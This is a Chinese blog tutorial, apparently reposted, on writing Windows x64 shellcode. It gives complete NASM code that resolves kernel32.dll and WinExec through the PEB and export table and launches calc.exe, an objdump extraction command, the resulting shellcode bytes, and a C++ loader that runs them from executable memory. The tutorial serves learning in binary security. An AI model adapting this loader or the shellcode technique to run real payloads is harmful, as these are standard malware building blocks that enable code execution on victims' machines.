Windowsx64汇编和Shellcode

admin 2026-03-25 23:23:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍Windowsx64汇编与Shellcode编写,通过GS寄存器获取TEB基址,遍历PEB链表定位kernel32.dll并获取WinExec地址。提供完整NASM代码,讲解用objdump提取机器码生成位置无关Shellcode,给出C++加载器示例。适合学习Windows二进制安全与Shellcode开发。 综合评分: 81 文章分类: 二进制安全,逆向分析,安全开发


cover_image

Windows x64汇编和Shellcode

原创

ybdt ybdt

卡卡罗特取西经

2026年3月23日 22:02 吉林

01 前言

之前那篇“Windows x64汇编”忘记写Shellcode部分,想修改一下,结果微信公众号修改文章限制每次只能改几个字符,干脆重写一篇吧

02 Windows x64汇编

学完王爽老师的Windows 16位汇编、罗云彬老师的Windows 32位汇编,最后就是Windows x64汇编,下面这个系列是我觉得不错的学习资源

【x64汇编与shellcode入门教程 01】https://mp.weixin.qq.com/s/HzEWKEpYpeBNJyk4IEll2g?scene=1【x64汇编与shellcode入门教程 02】https://mp.weixin.qq.com/s/vEfsmgBpEOJSzvXcvnEtUA?scene=1【x64汇编与shellcode入门教程 03】https://mp.weixin.qq.com/s/bJnqwt0_9rQCmaYZFrcFKg?scene=1【x64汇编与shellcode入门教程 04】https://mp.weixin.qq.com/s/-SEK85Fflt-Gr_Km9YcD3w?scene=1【x64汇编与shellcode入门教程 05】https://mp.weixin.qq.com/s/xC02bij37DTr_j4arJi_ag?scene=1【x64汇编与shellcode入门教程 06】https://mp.weixin.qq.com/s/db2pQXBx44IF4Dst0hw9sQ?scene=1【x64汇编与shellcode入门教程 07】https://mp.weixin.qq.com/s/AmjTv9wzFqzV1GKZYUecNQ

原文在这里:https://g3tsyst3m.com/shellcoding/assembly/debugging/x64-Assembly-and-Shellcoding-101/

翻译的质量不错,都很准确,当然你想看原文也可以

基本原理:通过GS段寄存器获取TEB基址,遍历PEB模块链表获取kernel32.dll基址,遍历kernel32.dll导出表获取WinExec地址,最后通过WinExec执行calc.exe

代码如下,代码中每条指令都包含了详细注释,我就不再赘述解释了

; nasm -fwin64 x64findkernel32.asm; ld -m i386pep -o x64findkernel32.exe x64findkernel32.objBITS 64SECTION .textglobal mainmain:; get the base address of kernel32.dll by gs segment registersub rsp, 0x28and rsp, 0xfffffffffffffff0xor rcx, rcx                      ; rcx = 0   mov rax, [gs:rcx + 0x60]          ; gs contain the base address of TEB, and offset 0x60 is the base address of PEBmov rax, [rax + 0x18]             ; offset 0x18 is the base address of PEB->Ldrmov rsi, [rax + 0x10]             ; offset 0x10 is the base address of PEB->Ldr->InLoadOrderModuleListmov rsi, [rsi]                    ; jump to next node of linked list PEB->Ldr->InLoadOrderModuleList, ntdll.dllmov rsi, [rsi]                    ; jump to next node of linked list  PEB->Ldr->InLoadOrderModuleList, kernel32.dllmov rbx, [rsi + 0x30]             ; offset 0x30 is the base address of kernel32.dllmov r8, rbx                       ; the value of rbx assign to r8; parse pe file header and export table to locate WinExec addressmov ebx, [rbx+0x3C]               ; pe file offset 0x3c contains nt headers addressadd rbx, r8                       ; relative address + base addressmov edx, [rbx+0x88]               ; nt headers offset 0x88 contains export directory addressadd rdx, r8                       ; relative address + base addressmov r10d, [rdx+0x14]              ; Total count for number of functionsxor r11, r11                      ; clear R11 mov r11d, [rdx+0x20]              ; AddressOfNames = RVAadd r11, r8                       ; AddressOfNames = VMAmov rcx, r10                      ; setup loop countermov rax, 0x00636578456E6957       ; "WinExec" string NULL terminated with a '0' push rax                          ; push to the stackmov rax, rsp                      ; move stack pointer to our WinExec string into RAXadd rsp, 8                        ; keep with 16 byte stack alignmentkernel32findfunction:    jecxz FunctionNameNotFound    ; If ecx is zero (function not found), set breakpoint    xor ebx, ebx                  ; Zero EBX    mov ebx, [r11+rcx*4]          ; EBX = RVA for first AddressOfName    add rbx, r8                   ; RBX = Function name VMA / add kernel32 base address to RVA to get WinApi name    dec rcx                       ; Decrement our loop by one, this goes from Z to A    mov r9, qword [rax]           ; R9 = "WinExec"    cmp [rbx], r9                 ; Compare all bytes    jz FunctionNameFound          ; jump if zero flag is set (found function name!)    jnz kernel32findfunction      ; didn't find the name, so keep loopin til we do!FunctionNameFound:    push rcx    jmp OrdinalLookupSetupFunctionNameNotFound:    int3OrdinalLookupSetup:    pop r15    js OrdinalLookupOrdinalLookup:    mov rcx, r15                  ; move our function's place into RCX    xor r11, r11                  ; clear R11 for use    mov r11d, [rdx+0x24]          ; AddressOfNameOrdinals = RVA    add r11, r8                   ; AddressOfNameOrdinals = VMA    inc rcx    mov r13w, [r11+rcx*2]         ; AddressOfNameOrdinals + Counter. RCX = counter    xor r11, r11    mov r11d, [rdx+0x1c]          ; AddressOfFunctions = RVA    add r11, r8                   ; AddressOfFunctions VMA in R11. Kernel32+RVA for function addresses    mov eax, [r11+r13*4]          ; function RVA.    add rax, r8                   ; Found the WinExec Api address!!!    push rax                      ; Store function addresses by pushing it temporarily    js executeit; call WinExecexecuteit:pop r15                           ; address for WinExecmov rax, 0x00                     ; push null string terminator '0'push rax                          ; push it onto the stackmov rax, 0x6578652E636C6163       ; move string 'calc.exe' into RAX push rax                          ; push string + null terminator to stackmov rcx, rsp                      ; RDX points to stack pointer "WinExec" (1st parameter))mov rdx, 1                        ; move 1 (show window parameter) into RDX (2nd parameter)sub rsp, 0x30                     ; align stack 16 bytes and allow for proper setup for shadow space demandscall r15                          ; Call WinExec!!

03 Windows x64汇编到Shellcode

使用objdump可以获取x64findkernel32.obj中的汇编

这些汇编指令对应的机器码其实就是shellcode,使用如下指令将它提取出来

for i in $(objdump -D x64findkernel32.obj | grep "^ " | cut -f2); do echo -n "\x$i" ; done

上述汇编中不涉及硬编码的函数地址或变量地址,所以它是一段PIC(Position Independent Code,位置无关代码)的shellcode,可以直接放到loader中执行,下面是一个简易的shellcode loader,代码很简单我就不解释了

#include&nbsp;<windows.h>#include&nbsp;<iostream>unsigned&nbsp;char&nbsp;shellcode[] ="\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b""\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x8b\x93\x88\x00\x00\x00\x4c\x01""\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65""\x63\x00\x50\x48\x89\xe0\x48\x83\xc4\x08\x67\xe3\x19\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\x4c""\x8b\x08\x4c\x39\x0b\x74\x02\x75\xe7\x51\xeb\x01\xcc\x41\x5f\x78\x00\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a""\x24\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x43\x8b\x04\xab""\x4c\x01\xc0\x50\x78\x00\x41\x5f\xb8\x00\x00\x00\x00\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48""\x89\xe1\xba\x01\x00\x00\x00\x48\x83\xec\x30\x41\xff\xd7";int&nbsp;main()&nbsp;{&nbsp; &nbsp;&nbsp;// 注意标志位PAGE_EXECUTE_READWRITE,给这段空间的数据设置为具有读写和可执行权限&nbsp; &nbsp;&nbsp;void* exec_mem =&nbsp;VirtualAlloc(0,&nbsp;sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);&nbsp; &nbsp;&nbsp;if&nbsp;(exec_mem ==&nbsp;nullptr) {&nbsp; &nbsp; &nbsp; &nbsp; std::cerr <<&nbsp;"Memory allocation failed\n";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;memcpy(exec_mem, shellcode,&nbsp;sizeof(shellcode));&nbsp; &nbsp;&nbsp;auto&nbsp;shellcode_func =&nbsp;reinterpret_cast<void(*)()>(exec_mem);&nbsp; &nbsp;&nbsp;shellcode_func();&nbsp; &nbsp;&nbsp;VirtualFree(exec_mem,&nbsp;0, MEM_RELEASE);&nbsp; &nbsp;&nbsp;return&nbsp;0;}

可以成功执行


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:卡卡罗特取西经 ybdt ybdt《Windows x64汇编和Shellcode》

评论:0   参与:  0